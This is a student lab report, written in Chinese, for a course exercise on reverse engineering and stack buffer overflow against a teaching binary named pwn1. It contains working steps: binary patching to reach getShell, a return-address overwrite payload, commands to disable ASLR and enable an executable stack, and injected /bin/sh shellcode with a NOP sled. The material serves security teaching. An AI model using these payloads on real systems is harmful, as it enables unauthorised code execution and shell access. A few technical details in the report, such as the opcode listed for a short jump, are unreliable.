网络对抗实验一 逆向及Bof基础实践
1 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
三个实践内容如下：
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
1.2 基础知识
- NOP, JNE, JE, JMP, CMP汇编指令的机器码:
| 机器指令 | 含义 | 机器码 | |
|---|---|---|---|
| NOP | CPU空转 | 0x90 | 执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。 |
| JNE | Jump if Not Equal，条件转移指令，如果不相等则跳转。 | 0x75 | |
| JE | Jump if Equal，条件转移指令，如果相等则跳转。 | 0x74 | |
| JMP | 无条件转移指令。 | ||
| 段内短直接 | JMP SHORT mylabel | 0xE8 | 只能跳转到256字节的范围内 |
| 段内近直接 | JMP NEAR PTR mylabel | 0xE9 | 可跳至同一个段范围内的地址 |
| 段间远直接 | JMP DS:[mylabel] | 0xEA | 可跳至任意地址，使用48位/32位全指针 |
| 段内近间接 | JMP BX | 0xFF （0xFF25 0xFF15...） | |
| CMP | 比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。 | 0x38、0x39、0x3A、0x3B、0x3C、0x3D。 | CMP指令也有多种形式，分别代表不同的功能。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。 |
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掌握反汇编与十六进制编程器
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反汇编主要用的命令是
objdump -d 目标文件 | more -
十六进制编程器是wxHexEditor，可以进行十六进制的查看和相应修改，避免我们对vim编辑器的操作不熟悉导致的错误。
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2 直接修改程序机器指令，改变程序执行流程
- 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
- 学习目标：理解可执行文件与机器指令
- 进阶：掌握ELF文件格式，掌握动态技术
下载目标文件pwn1，将文件从桌面直接拖进kali的桌面中。
打开终端。
将文件名改为与自己学号相关的名字
然后进行反汇编 objdump -d pwn1329 | more
一直按回车回车就会逐行显示更多信息，直到找到main的内容
more是可以分页显示的可执行文件，管道“|”的作用就是把前面的执行结果放到后面的"more"里面
发现主函数会通过call调用foo函数，该指令对应的机器指令为“ e8 d7ffffff ”，e8即跳转之意。
正常流程下，eip中原本存储的是下一条指令的地址，即80484ba，但一解释e8这条指令，CPU就会转而执行 ”eip + e8后面的四字节地址“ 这个位置的指令。
因此，eip = 80484ba+fffffd7=8048491（注意d7ffffff是补码，小段优先，计算时应写为fffffd7），也就是foo函数的地址
那我们想让它调用getShell，只要修改“d7ffffff”为 "getShell-80484ba"对应的补码就行。
0804847d-80484ba=ffffffc3
于是我们修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff：
- vi进入pwn201329，在乱码界面按Esc键，然后输入
:%!xxd - 找到e8d7，修改d7为c3（先按
i进入编辑模式再改，改完按Esc键退出） - 输入
:%!xxd -r - 输入
:wq退出
对pwn2反汇编，检验是否修改正确objdump -d pwn201329 | more
运行改后的代码，会得到shell提示符
如上图所示，我们已经完成了对对应文件的修改。原来的可执行文件的功能是输入一段字符串，程序会重复输出该字符串，现在我们的程序变成了打开一个“命令行”。我们执行了ls命令后，成功打印出了当前目录下的所有文件。
3 通过构造输入参数，造成BOF攻击，改变程序执行流
3.1 反汇编，了解程序的基本功能
对pwn1反汇编。该可执行文件正常运行是调用函数foo。foo函数有Buffer overflow漏洞：foo读入字符串，但系统只预留了（28）字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
3.2 确认输入字符串哪几个字符会覆盖到返回地址
3.2.1安装gdb
在终端中输入gdb -v，若找不到该命令，则需先进行安装操作
sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
sudo su
apt-get update
apt-get install gdb
最后再通过gdb -v，显示出版本号即为安装成功。
3.2.2分析覆盖返回地址的字符
按指导书步骤走
输入为1111111122222222333333334444444455555555时可以看到eip的值0x35353535，也就是5555的ASCII码
输入字符串1111111122222222333333334444444412345678，发现eip的值为0x34333231，即1234（小端）的ASCII码。
那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。
3.3 确认用什么值来覆盖返回地址
之前反汇编时我们已知getShell的内存地址0x0804847d，由1234对应0x34333231分析出应该是小端写法，所以我们应当输入11111111222222223333333344444444\x7d\x84\x04\x08
对比之前 eip 0x34333231 0x34333231，验证了输入正确
3.4 构造输入字符串
按指导书进行操作，最终获取shell
我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车。使用输出重定向“>”将perl生成的字符串存储到文件input中。
使用16进制查看指令xxd查看input文件的内容是否如预期，然后将input的输入，通过管道符“|”，作为pwn1的输入
可以看到攻击成功，获取了一个交互式的shell
4. 注入Shellcode并执行
4.1 准备一段Shellcode
shellcode就是一段机器指令（code）
- 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
- 所以这段机器指令被称为shellcode。
- 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
4.2 准备工作
输入sudo apt-get install execstack ，安装execstack命令，如果安装失败可参考以下连接
Kali Linux E:Unable to locate package 完美解决
按教程进行操作：
- 输入
execstack -s pwn1329指令来设置堆栈可执行 - 输入
execstack -q pwn1329指令查询文件的堆栈是否可执行 - 输入
more /proc/sys/kernel/randomize_va_space，检查发现randomize_va_space为2，即地址随机化保护是开启的
4.输入echo "0" > /proc/sys/kernel/randomize_va_space，关闭地址随机化。
5.输入more /proc/sys/kernel/randomize_va_space，检查发现randomize_va_space为0，即地址随机化保护是关闭的
4.3 构造要注入的payload
- Linux下有两种基本构造攻击buf的方法：
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
- 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
- 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
--
-
我们这个buf够放这个shellcode了，所以shellcode放后边
-
结构为：retaddr+nop+shellcode（指导书里此处是坑）
- nop一为是了填充，二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
打开两个终端，都进入root模式。
终端1输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
注入攻击buf(cat input_shellcode;cat) | ./pwn1329，回车一次即可，不要出现指导书里的乱码.
终端2中进行gdb调试，输入ps -ef | grep pwn1329，得到进程号28268
终端2执行到下图位置时，在终端1中按下回车，此时终端1出现乱码
终端2继续执行，看到 01020304了，就是返回地址的位置。shellcode就在后面，所以地址是0xffffd4ec+4=0xffffd4f0
将 0xffffd4f0放进shellcode,运行代码 perl -e 'print "A" x 32;print "\xf0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode ，运行后发现成功获取shell，攻击成功.
5 问题与解决
1.刚开始无法进入root权限模式 查看用户也没有root权限
解决：
查找了许多资料但是没有合适的解决方案后，我重新装了一个新的kali虚拟机，在创建用户的时候发现可能是刚才没有给20201329的用户设置权限。重新输入设置一下就解决了。。。。
2.安装execstack命令失败，参考(56条消息) Kali Linux E:Unable to locate package 完美解决！_kali 中e:unable to_聂大哥的博客-CSDN博客输入命令解决
vi文本编辑器中：
插入新的一个文本行：输入
O强制保存并退出：
Esc后输入:wq!
3.结束一个终端命令如cat可以用CTRL+C
4.打开一个终端注入这段攻击buf无法实现
解决：
实验指导书没有看全，少写一步perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
5.结合nc进行远程攻击：
尝试与自己曾经的虚拟机Ubuntu openeuler和Windows进行相互ping，但都出现了不同的问题。没有找到合适的虚拟机进行攻击，在有限的时间内我选择先放弃这一步骤，等之后有时间了再继续。
6 实验总结
有了负责人同学的实验报告和实验指导书，做起实验来更加得心应手，遇到问题就可以直接问得到解答，比自己慢慢找解答快了不少。
而且，之前有做过简单的缓冲区溢出实验，在此基础上进行本此次实验就得心应手了不少，熟悉的使用gbd调试，设置断点，寻找计算shellcode地址等。
7 实验体会
缓冲区溢出的实验我们在上学期就仔细研究过，并且作为课程设计在假期验收了，都给了我很大的痛苦折磨，实验的主要难点在对原理的理解和把握。在kali上的操作还是没有很熟练，之后还是需要多加练习，以往了许多之前学过的基础Linux指令。遇到问题和故障的时候查询的方式也表达不清楚，绕弯子时间太多，导致现在草草结束实验报告，在给出的实验指导书中其实还有部分的没有完成（https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md）
其实遇到的问题很多，也暴露出我知识掌握的并不是很熟练：根据ebp地址找到shellcode地址时，总是记不得给当前地址+4得出shellcode地址。
